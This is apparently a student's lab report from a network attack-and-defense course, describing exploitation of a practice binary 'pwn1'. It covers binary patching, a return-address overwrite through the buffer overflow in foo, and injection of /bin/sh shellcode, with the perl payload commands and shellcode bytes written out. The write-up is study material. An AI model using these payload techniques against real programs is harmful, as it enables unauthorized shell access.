20212917于欣月 2021-2022-2 《网络攻防实践》第九周作业

20212917于欣月 2021-2022-2 《网络攻防实践》第九周作业

目录



1.实验要求及过程

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(1)将pwn1复制到虚拟机的/home/Desktop目录下,并备份一个pwn1_1。
(2)使用objdump -d pwn1 | more进行反汇编,查看main函数跳转的语句,查找到getShell函数。

(3)Main里面的call这句话是跳转到foo函数中,执行call执行的时候时候eip里的地址应该是下一条指令的地址也就是80484ba。因为小字节优先,所以放在这里是d7ffffff,但是计算时候应该倒过来。80484ba+ffffffd7=8048491。所以要想跳到getShell,就应该把ffffffd7换掉,也就是804847d-80484ba=ffffffc3,也就是把d7换成c3。所以现在我们只要把d7改成c3就完成了该实验。
(4)用vi编辑器编辑文件vi pwn1,因为是文本编辑器,所以还需要把它转化一下成十六进制:%!xxd,/d7查找d7。

(5)因为有很多d7,跟刚刚反汇编的进行对比,就可以发现第一个d7是e8d7ffffff,然后把d7改成c3;再使用:%!xxd -r返回,然后保存并退出。

(6)再进行反汇编,查看一下修改后的文件。

(7)分别运行修改后的pwn1和修改前的pwn1_1,查看结果如图1.5。修改前,输入什么输出什么,修改后有$并且可以输入命令,实验成功。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

(1)pwn1反汇编,找到foo函数,可以看到程序为函数预留了“0x1c”大小,即28个字节的缓冲区。此时main函数中EIP寄存器中的返回地址为“80484ba”。

(2)安装gdb。

(3)因为程序预留的缓冲区长度为28个字节,EBP为4个字节,EIP为4个字节,需要构建一个至少36字节的字符串。首先要确定是否能将EIP寄存器覆盖,输入“gdb pwn1”,输入“r”运行,输入字符串“1111111122222222333333334444444412345678”,此时输入“info r”查看各寄存器的值,如图2.3所示。可以看到EIP寄存器中的值为“1234”,字符串的33到36字节已经将EIP寄存器覆盖。

(4)getShell的首地址为“804847d”,所以我们需要使用这个地址作为字符串的第33到36字节,覆盖EIP寄存器。输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构建input文件,如图2.4所示。输入“(cat input; cat) | ./pwn1”,将input文件注入到pwn1中,如图2.5所示,可以看到成功启动了Shell,说明EIP寄存器中的返回地址覆盖成功。

3.注入一个自己制作的shellcode并运行这段shellcode。

(1)做好准备工作:设置堆栈可执行,关闭地址随机化,使攻击环境比较理想。

(2)在这里所使用的shellcode为
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”。为了保证注入的shellcode能够顺利运行,我们需要找到程序放置shellcode的地址,首先任意构造一个长度为36个字节的input_shellcode文件,通过gdb调试查找地址。输入“perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode”,这里不能以“\x0a”结尾,因为等会需要在另一个终端输入回车。输入“(cat input_shellcode;cat) | ./pwn1”将input_shellcode注入pwn1。

(3)重新打开一个终端进行gdb调试,输入“ps -ef | grep pwn1”,可以看到pwn1进程id为14135。输入gdb进入gdb调试,输入attach 14135查看pwn1进程,输入disassemble foo,可以看到此时程序在”80484ae”处停止。

(4)输入“break *0x080484ae”设置断点。 在第一个终端中按回车后,接着回到第二个终端输入 “info r esp”,查看栈顶指针的位置在“0xffffd5ac”。输入“x/16x 0xffffd5ac”,可以看到值“01020304”的位置在“0xffffd5ac”。

(5)0xffffd5ac+0x00000004=0xffffd5b0,所以输入
perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode”重新构造input_shellcode。输入“(cat input_shellcode;cat) | ./pwn1”将input_shellcode注入pwn1。

2.学习中遇到的问题及解决

  • 问题1:使用sudo apt-get install execstack/sudo apt-get install prelink安装不了,显示定位不到软件包。
  • 答:更换源

3.学习感想和体会

  • 这个实验虽然做过一遍,但是再做也还是不够熟悉。通过重温本实验,我对BOF攻击有了更进一步的了解。做中学、学中做,加深对汇编语言、机器指令和堆栈、栈帧等相关知识的理解。又是感叹网络攻防真复杂的一天,仍旧认为这方面真的需要很多知识和技能,如果想在这个领域走下去,需要付出很多努力。
posted @ 2022-05-10 21:11  雲深不知处  阅读(72)  评论(0编辑  收藏  举报